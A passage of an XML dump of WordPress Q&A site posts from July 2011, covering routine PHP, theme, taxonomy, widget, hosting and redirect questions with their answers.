'&amp;amp;#125;' . '&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;');&#xA;    }&#xA;    echo 'Done';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-07-24T09:54:29.673" Title="Wordpress can't echo brackets" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="23908" PostTypeId="2" ParentId="23907" CreationDate="2011-07-23T21:16:17.093" Score="2" ViewCount="" Body="&lt;p&gt;The functions &lt;code&gt;the_permalink()&lt;/code&gt; and &lt;code&gt;the_title()&lt;/code&gt; print their results by default. Use &lt;code&gt;get_permalink()&lt;/code&gt; and &lt;code&gt;get_the_title()&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while($query-&amp;gt;have_posts()){&#xA;    $query-&amp;gt;the_post();&#xA;    $url = get_permalink();&#xA;    $keyword = get_the_title();&#xA;    Print('&amp;lt;p&amp;gt;' . $url . '&amp;amp;#123;' . $keyword . '&amp;amp;#125;' . '&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7290" LastActivityDate="2011-07-23T21:16:17.093" CommentCount="2" />
  <row Id="23909" PostTypeId="1" AcceptedAnswerId="23914" CreationDate="2011-07-24T09:58:11.257" Score="0" ViewCount="17" Body="&lt;p&gt;I would like to start a single WordPress Blog. As I already have some experience with one provider and as it is really cheap, I would like to use the same service for my planned blog. They offer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;1 GB webspace&lt;/strong&gt;: I will not upload many big pictures and I guess almost no audio/video files, so I guess this is more than enough&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;PHP 5.1 and PERL scripts&lt;/strong&gt;: &lt;a href=&quot;http://en.wikipedia.org/wiki/PHP&quot; rel=&quot;nofollow&quot;&gt;PHP&lt;/a&gt; 5.3.6 seems to be the latest version. Although they say on their website, that they support PHP 5.1, &lt;a href=&quot;http://de3.php.net/manual/de/function.phpinfo.php&quot; rel=&quot;nofollow&quot;&gt;phpinfo()&lt;/a&gt; tells me they actually have 5.2.17-pl0-gentoo. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;MySQL&lt;/strong&gt;: according to phpinfo(): Client API version: 5.1.56. The latest &lt;a href=&quot;http://en.wikipedia.org/wiki/MySQL&quot; rel=&quot;nofollow&quot;&gt;MySQL&lt;/a&gt;-Version is 5.5.14&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mod_rewrite&lt;/strong&gt;: I guess it is enabled. &lt;a href=&quot;http://mietek-pemper.de/wiki/Hauptseite&quot; rel=&quot;nofollow&quot;&gt;This website&lt;/a&gt; uses mod_rewrite, doesn't it? I know that it is hosted by the provider I'd like to chose, so if mod_rewrite works there, it will work for me, too.&lt;/li&gt;&#xA;&lt;li&gt;.htaccess files may be used&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;FTP access only! No ssh! No execution of binaries.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/about/requirements/&quot; rel=&quot;nofollow&quot;&gt;requirements-page&lt;/a&gt; of worpress states:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP 5.2.4 or greater&lt;/li&gt;&#xA;&lt;li&gt;MySQL 5.0 or greater&lt;/li&gt;&#xA;&lt;li&gt;The mod_rewrite Apache module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would now like to know if it is easily possible to update wordpress when I only have FTP-access and phpMyAdmin. I would also like to know if it is easily possible to make backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I ask, because I made the experience that &lt;a href=&quot;http://www.mediawiki.org/wiki/Manual%3aBacking_up_a_wiki&quot; rel=&quot;nofollow&quot;&gt;creating backups with MediaWiki&lt;/a&gt; is impossible (or at least extremly difficult and laborious) without ssh access or &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/mysqldump.html&quot; rel=&quot;nofollow&quot;&gt;mysqldump&lt;/a&gt;. It's the same for &lt;a href=&quot;http://www.mediawiki.org/wiki/Manual%3aUpgrading&quot; rel=&quot;nofollow&quot;&gt;upgrading MediaWiki&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="7289" LastActivityDate="2011-07-24T10:58:13.257" Title="Requirements for hosting a single WordPress Blog (upgrades / backups)" Tags="&lt;upgrade&gt;&lt;hosting&gt;&lt;backup&gt;" AnswerCount="1" />
  <row Id="23910" PostTypeId="1" CreationDate="2011-07-24T10:41:07.523" Score="1" ViewCount="28" Body="&lt;p&gt;I've a custom post type &quot;trip&quot; that is supposed to have just few items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the WP Nav Menu, I've create an item linked to /trips: this will show the page with all post type &quot;trip&quot; in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want also to have a submenu with all these items (only the title, of course).&#xA;So far, the only way I've found is to manually add these items as submenu items, but I'd like to have this submenu created dynamically, maybe using some hooks, but I don't know how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tip?&lt;/p&gt;&#xA;" OwnerUserId="7291" LastActivityDate="2011-07-24T10:41:07.523" Title="Add a dropdown custom post type submenu to nav menu" Tags="&lt;custom-post-types&gt;&lt;navigation&gt;" FavoriteCount="1" />
  <row Id="23911" PostTypeId="1" CreationDate="2011-07-24T10:46:24.587" Score="0" ViewCount="23" Body="&lt;p&gt;I want to display my comments in paginated way. Comments box shouldn't appear while someone browsing single post. There should a button like show/hide comments(like linked image).Any idea about this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://i51.tinypic.com/zkfwgn.jpg/&quot; rel=&quot;nofollow&quot;&gt;the attachment&lt;/a&gt;!&lt;/p&gt;&#xA;" OwnerUserId="7265" LastActivityDate="2011-07-24T10:46:24.587" Title="comments is not paginated" Tags="&lt;comments&gt;&lt;pagination&gt;" />
  <row Id="23912" PostTypeId="2" ParentId="22031" CreationDate="2011-07-24T10:50:36.427" Score="0" ViewCount="" Body="&lt;p&gt;Yo could use ThePath Tabbed Widget plugin for this: &lt;a href=&quot;http://wordpress.org/extend/plugins/thepath-tabbed-widget/&quot; rel=&quot;nofollow&quot;&gt;Jquery UI Tabbed Widget Wordpress Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2011-07-24T10:50:36.427" />
  <row Id="23913" PostTypeId="2" ParentId="23906" CreationDate="2011-07-24T10:51:03.713" Score="1" ViewCount="" Body="&lt;p&gt;Validation is a tricky topic. It is good to have, but it is also theoretical thing in practical world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had &lt;a href=&quot;http://validator.w3.org/unicorn/check?ucn_uri=twentyelevendemo.wordpress.com/&amp;amp;ucn_task=conformance#&quot; rel=&quot;nofollow&quot;&gt;checked that URL with Unicorn&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It explicitly says that HTML5 checking is not considered reliable and errors are mostly attribute related (which is verrry unlikely to be an issues).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CSS errors seem to be related to multiple browser-specific feature. Annoying? Yes. Possible to get by without? Will need to sacrifice some eye-candy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My opinion is that unless you are dead set to only using perfectly validating themes on principle, then Twenty Eleven is not for you or you will need to create child theme and clean it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned that Twenty Eleven just might have horrible markup/CSS issues - that is unlikely in theme of such high profile.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-24T10:51:03.713" CommentCount="1" />
  <row Id="23914" PostTypeId="2" ParentId="23909" CreationDate="2011-07-24T10:58:13.257" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I would now like to know if it is easily possible to update wordpress when I only have FTP-access and phpMyAdmin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;WordPress has &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress&quot; rel=&quot;nofollow&quot;&gt;automatic update feature&lt;/a&gt;, that will do its best to perform update without you having to upload new version manually. It is not perfect, but it is quite robust and works on most configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If changes to database are required for new version, WordPress will perform them by itself, you won't ever need to use phpMyAdmin for that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would also like to know if it is easily possible to make backups.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are numerous &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/backup&quot; rel=&quot;nofollow&quot;&gt;backup plugins&lt;/a&gt; for WordPress available, both free and paid. They differ in what is backed up (files and/or database), backup destinations (local/email/cloud/etc) and additional features (restore/migration/whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will take some research to pick one for your needs (especially if you are looking among free solutions only), but this is definitely not a problem with WP.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-24T10:58:13.257" CommentCount="2" />
  <row Id="23915" PostTypeId="1" CreationDate="2011-07-24T11:31:39.527" Score="4" ViewCount="79" Body="&lt;p&gt;I'm trying to restrict the number of widgets from the &quot;wp_inactive_widgets&quot; sidebar to maximum 10, because the widgets admin page is incredibly slow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_update_option_sidebars_widgets', 'cleanup_inactive_widgets', 10, 2);&#xA;&#xA;function cleanup_inactive_widgets($new, $old){&#xA;  if(!empty($new['wp_inactive_widgets']) &amp;amp;&amp;amp; count($new['wp_inactive_widgets']) &amp;gt; 10)&#xA;    $new['wp_inactive_widgets'] = array_slice($new['wp_inactive_widgets'], -10, 10);&#xA;&#xA;  return $new;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works apparently, but the problem is that the widget instance options still remain in the database, regardless if the widget instance exists or not inside a sidebar...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a way to remove the widget options too?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;I found out a solution:&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: in certain situations it seems to remove widgets from other sidebars too, I'm not sure what's causing this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($new['wp_inactive_widgets']) &amp;amp;&amp;amp; count($new['wp_inactive_widgets']) &amp;gt; 10){&#xA;&#xA;  // find out which widget instances to remove&#xA;  $removed_widgets = array_slice($new['wp_inactive_widgets'], 0, -10);&#xA;&#xA;  // remove instance options&#xA;  foreach($removed_widgets as $widget_id)&#xA;    if(isset($GLOBALS['wp_registered_widgets'][$widget_id])){&#xA;&#xA;      $instance = $GLOBALS['wp_registered_widgets'][$widget_id]['callback'][0]-&amp;gt;number;&#xA;      $option_name = $GLOBALS['wp_registered_widgets'][$widget_id]['callback'][0]-&amp;gt;option_name;&#xA;&#xA;      $options = get_option($option_name);   // get options of all instances&#xA;      unset($options[$instance]);            // remove this instance's options&#xA;      update_option($option_name, $options);&#xA;    }&#xA;&#xA;  // keep only the last 10 records from the inactive widgets area&#xA;  $new['wp_inactive_widgets'] = array_slice($new['wp_inactive_widgets'], -10, 10);&#xA;&#xA;}&#xA;return $new;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-08-21T10:56:24.640" LastActivityDate="2011-09-01T11:09:53.760" Title="Limit the number of inactive widgets" Tags="&lt;php&gt;&lt;widgets&gt;&lt;options&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" />
  <row Id="23916" PostTypeId="1" AcceptedAnswerId="23957" CreationDate="2011-07-24T12:51:21.607" Score="1" ViewCount="52" Body="&lt;p&gt;I'm creating an age select menu in the admin, populated from a taxonomy of &lt;code&gt;age&lt;/code&gt;. The taxonomy is hierarchical as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;18-25 (parent, ID 183)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;18 (child)&lt;/li&gt;&#xA;&lt;li&gt;19&lt;/li&gt;&#xA;&lt;li&gt;20&lt;/li&gt;&#xA;&lt;li&gt;21&lt;/li&gt;&#xA;&lt;li&gt;22&lt;/li&gt;&#xA;&lt;li&gt;23&lt;/li&gt;&#xA;&lt;li&gt;24&lt;/li&gt;&#xA;&lt;li&gt;25&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;26-30 (parent, ID 184)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;26&lt;/li&gt;&#xA;&lt;li&gt;27&lt;/li&gt;&#xA;&lt;li&gt;28&lt;/li&gt;&#xA;&lt;li&gt;29&lt;/li&gt;&#xA;&lt;li&gt;30&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to only list the children (18, 19 etc) and not the parents (18-25, 26-30) etc. Currently I am using &lt;code&gt;get_terms&lt;/code&gt; with the &lt;code&gt;parent&lt;/code&gt; argument, but it doesn't accept more than 1 parent ID. Here's what I have so far, which shows the children from 18-25.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ages = get_terms( 'age', array(&#xA;        'hide_empty' =&amp;gt; 0,&#xA;        'parent' =&amp;gt; '183',&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I want it to do, but isn't supported. I have also tried it with an array but it doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ages = get_terms( 'age', array(&#xA;        'hide_empty' =&amp;gt; 0,&#xA;        'parent' =&amp;gt; '183,184',&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see there is a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_children&quot; rel=&quot;nofollow&quot;&gt;get_term_children&lt;/a&gt; function but I'm unsure of how to use this either as it looks like it only accepts one value also. Eg:&#xA;In this example it would build an unordered list but I could modify for select menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $termID = 183;&#xA;    $taxonomyName = &quot;age&quot;;&#xA;    $termchildren = get_term_children( $termID, $taxonomyName );&#xA;&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    foreach ($termchildren as $child) {&#xA;    $term = get_term_by( 'id', $child, $taxonomyName );&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_term_link( $term-&amp;gt;name, $taxonomyName ) . '&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-25T03:46:05.070" Title="How to only list the child terms of a taxonomy and not their parents?" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;get-terms&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="23917" PostTypeId="1" AcceptedAnswerId="23926" CreationDate="2011-07-24T12:59:08.020" Score="0" ViewCount="79" Body="&lt;p&gt;My client has a post type that uses a lot taxonomies. I plan to put this script in a post meta box and hide the existing taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do you know of a great &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_terms&quot; rel=&quot;nofollow&quot;&gt;wp_set_post_terms&lt;/a&gt; example?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make this:&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/ZbFEY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look like this:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/4VODQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related functions? &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_term&quot; rel=&quot;nofollow&quot;&gt;wp_update_term&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-07-24T15:17:06.467" LastActivityDate="2011-07-24T16:54:28.343" Title="wp_set_post_terms example?" Tags="&lt;custom-taxonomy&gt;&lt;wp-admin&gt;&lt;set-post-terms&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="23918" PostTypeId="1" AcceptedAnswerId="24011" CreationDate="2011-07-24T13:24:38.483" Score="0" ViewCount="54" Body="&lt;p&gt;I am using the latest wordpress 3.2.1. I would like to let create a new admin to do ONLY this:&#xA;1) Manage order to change the order status to (e.g. approve..reject).&#xA;2) Able to view user only without the ability to Edit or Delete.&#xA;3) Accept email notification on new registered user and new order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would meant that when this new admin login, he is able to view only these 3 menu and All other menu will be invisible. Could anyone advice? I have tried many like the Adminimize, Admin Menu Editor, hide-admin-panels.. But all don works as it is a role based instead of user based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should i create a new &lt;code&gt;admin&lt;/code&gt; for these features above? or should i create an &lt;code&gt;editor&lt;/code&gt; instead ? Then change the menu for editor.. I need your advice. thanks &lt;/p&gt;&#xA;" OwnerUserId="7294" LastEditorUserId="7294" LastEditorDisplayName="" LastEditDate="2011-07-25T05:59:05.833" LastActivityDate="2011-07-25T16:25:37.497" Title="Show limited menu to admin" Tags="&lt;admin-menu&gt;&lt;e-commerce&gt;" AnswerCount="2" />
  <row Id="23919" PostTypeId="1" CreationDate="2011-07-24T14:15:11.803" Score="-2" ViewCount="50" Body="&lt;p&gt;In my child theme Style.css I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(http://fonts.googleapis.com/css family=Special+Elite|Tangerine:700|Droid+Serif);&#xA;&#xA;#site-title a {&#xA;font-family: 'Special Elite', Georgia;&#xA;text-shadow: 3px 3px 3px #aaa;&#xA;}&#xA;#site-description {&#xA;font-family: 'Tangerine', Georgia;&#xA;}&#xA;.entry-title {&#xA;font-family: 'Droid Serif', Georgia;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks OK in Safari 5.1, but font changes to Georgia in Firefox 3.6.19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-07-24T18:49:00.717" Title="Google web fonts not rendered in FireFox" Tags="&lt;css&gt;&lt;child-theme&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23920" PostTypeId="1" CreationDate="2011-07-24T14:47:22.147" Score="0" ViewCount="10" Body="&lt;p&gt;I have two wordpress blog on my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first one is &lt;a href=&quot;http://yoursn0w.com&quot; rel=&quot;nofollow&quot;&gt;http://yoursn0w.com&lt;/a&gt; and this one is working fine on the Site stats plug in that I have all the references that come from which ever website it shows all of them and I think that is perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the other one &lt;a href=&quot;http://th.yoursn0w.com&quot; rel=&quot;nofollow&quot;&gt;http://th.yoursn0w.com&lt;/a&gt; the problem is no longer show from the other site except just like 5 of them like Facebook. Google+. and three other which I believe I have more than that because the traffic coming to my website over 2000 a day and if I count is only say 300 from the refer so I don't think like another 1700 is a direct visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so is there anyway to fix this problem? because I tried do the page cache, remove and install the plugin again and nothing help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6390" LastActivityDate="2011-07-24T14:47:22.147" Title="WordPress Site Stats does not show the reference of the Visitors correctly" Tags="&lt;plugins&gt;&lt;stats&gt;" />
  <row Id="23921" PostTypeId="1" CreationDate="2011-07-24T15:26:26.313" Score="1" ViewCount="26" Body="&lt;p&gt;I want to know if its possible, and if so, how can i make multiple Wordpress builds share the same database tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, i have site1 and site2 (both are in the same wordpress multisite). I want to use site1 for public use, and site2 to develop on. I want it that when i create a new post or page on site1, it will also show up in site2 (since there sharing the same database tables).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-07-24T15:26:26.313" Title="Allow multiple WP builds to share same DB tables" Tags="&lt;database&gt;" CommentCount="1" />
  <row Id="23922" PostTypeId="2" ParentId="23169" CreationDate="2011-07-24T15:28:31.893" Score="0" ViewCount="" Body="&lt;p&gt;I asked again/parallel on the wp-hackers &lt;a href=&quot;https://groups.google.com/forum/?hl=de#!topic/wp-hackers/2Phxyj7Mzwo&quot; rel=&quot;nofollow&quot;&gt;mailing list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-24T15:28:31.893" />
  <row Id="23923" PostTypeId="1" CreationDate="2011-07-24T16:08:57.083" Score="0" ViewCount="56" Body="&lt;p&gt;I bought a theme from themeforest, here is the theme i bought:&#xA;&lt;a href=&quot;http://bit.ly/qDDhxP&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/qDDhxP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bought the theme because the client like it and need a theme with custom background. My problem now i want to put banner ads (two 234x60 OR one 468x60) a little top of the navigation menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i create this banner area? &lt;/p&gt;&#xA;" OwnerUserId="6043" LastActivityDate="2011-08-24T03:34:09.700" Title="How to create overlay to put ad banner?" Tags="&lt;jquery&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="23924" PostTypeId="1" CreationDate="2011-07-24T16:12:56.640" Score="0" ViewCount="46" Body="&lt;p&gt;I'm making a member-only site that requires users to be logged in to use the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The homepage is publicly viewable. On the homepage, I'd like to put in a function to redirect users to a page inside the site if they are logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_user_logged_in() ) {&#xA; wp_redirect ('dashboard' );&#xA; exit;&#xA; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives me a &quot;headers already sent&quot; error. The code is placed at the top of my php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7295" LastActivityDate="2011-08-26T11:34:59.780" Title="Checking if a user is logged in, if so redirect to a different page" Tags="&lt;wp-redirect&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="23925" PostTypeId="2" ParentId="14056" CreationDate="2011-07-24T16:15:23.480" Score="1" ViewCount="" Body="&lt;p&gt;I suggest if you want to use BuddyPress always, just ignore/remove WordPress profile informations and you can: &lt;strong&gt;Redirecting User to Their Buddypress Profile when They access their wordpress profile(wp-admin/profile.php)&lt;/strong&gt;:&#xA;&lt;a href=&quot;http://buddydev.com/buddypress/playing-with-buddypress-and-wordpress-some-codes-for-the-site-admins/&quot; rel=&quot;nofollow&quot;&gt;http://buddydev.com/buddypress/playing-with-buddypress-and-wordpress-some-codes-for-the-site-admins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-07-24T16:15:23.480" />
  <row Id="23926" PostTypeId="2" ParentId="23917" CreationDate="2011-07-24T16:54:28.343" Score="1" ViewCount="" Body="&lt;p&gt;Name your fields like &lt;code&gt;car_specs[taxonomy_name]&lt;/code&gt;, then within &quot;save_post&quot; just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($_POST['car_specs'] as $tax =&amp;gt; $term)&#xA;  if(taxonomy_exists($tax)) // &amp;amp;&amp;amp; term_exists($term, $tax)&#xA;    wp_set_post_terms($post_id, $term, $tax);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Personally I wouldn't use WordPress for a auto classifieds type of website. There are PHP frameworks out there better suited for building such sites&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-24T16:54:28.343" CommentCount="1" />
  <row Id="23927" PostTypeId="1" CreationDate="2011-07-24T17:00:33.250" Score="0" ViewCount="51" Body="&lt;p&gt;hey guy I am NOT a programmer but I NEED ur help asap. I'm currently building a webite and I need a way to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have custom field/additional field for category such as a image,bio,an area where I can paste embed code and fields etc....&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Display the information stored in those fields in my widgets or any other place on my site DYNAMICALLY (meaning: When I put the code into the sidebar I don't want to specify the category, I want the code to display the infobased on the current category that the user ha selected)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EX: I have category 'A' and 'B'. I have placed the code in the locations I want and when the User clicks on category 'B' I want all the field from THAT category that I have specified to display on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Plugin or Codes for this? (Remember I am NOT a programmer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO: Is there a way to capture the category name in the url and display it on the page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex: &lt;a href=&quot;http:///myite.com/category/main-category/A&quot; rel=&quot;nofollow&quot;&gt;http:///myite.com/category/main-category/A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I capture the child category name to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to replace that bracket with the current category name.&lt;/p&gt;&#xA;" OwnerUserId="7296" LastActivityDate="2011-08-25T00:34:22.307" Title="Custom Fields for Categories and Display them on a Page" Tags="&lt;categories&gt;&lt;custom-field&gt;&lt;plugin-list-category-post&gt;" AnswerCount="2" />
  <row Id="23928" PostTypeId="2" ParentId="23924" CreationDate="2011-07-24T17:02:16.763" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure if you just simplified for example, but make sure you use full URL in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_redirect()&lt;/code&gt;&lt;/a&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also rather than having it in template, I think it would be more appropriate to run this at &lt;code&gt;template_redirect&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-24T17:02:16.763" CommentCount="4" />
  <row Id="23929" PostTypeId="2" ParentId="23919" CreationDate="2011-07-24T18:49:00.717" Score="0" ViewCount="" Body="&lt;p&gt;Probably has something to do with the W3 Total Cache plugin or a CDN if you're using either. Reference of the issue here: &lt;a href=&quot;http://wordpress.org/support/topic/plugin-w3-total-cache-font-face-not-working-in-firefox&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-w3-total-cache-font-face-not-working-in-firefox&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-07-24T18:49:00.717" />
  <row Id="23930" PostTypeId="2" ParentId="20566" CreationDate="2011-07-24T19:31:51.400" Score="1" ViewCount="" Body="&lt;p&gt;Just call &lt;code&gt;p2p_connect( $id_of_post_type_a, $id_of_post_type_b );&lt;/code&gt; in the form handling code.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-24T19:31:51.400" CommentCount="1" />
  <row Id="23931" PostTypeId="1" AcceptedAnswerId="23933" CreationDate="2011-07-24T19:38:49.510" Score="0" ViewCount="15" Body="&lt;p&gt;There is some way to get notifications when deprecated API elements are used in WordPress. How is it done? Put WordPress in debug mode (which also shows all other types of errors) or is there another method that shows only API related errors?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-07-24T19:43:16.450" Title="How to receive notification of deprecated API elements and functions?" Tags="&lt;plugin-development&gt;&lt;wp-debug&gt;&lt;deprecation&gt;" AnswerCount="1" />
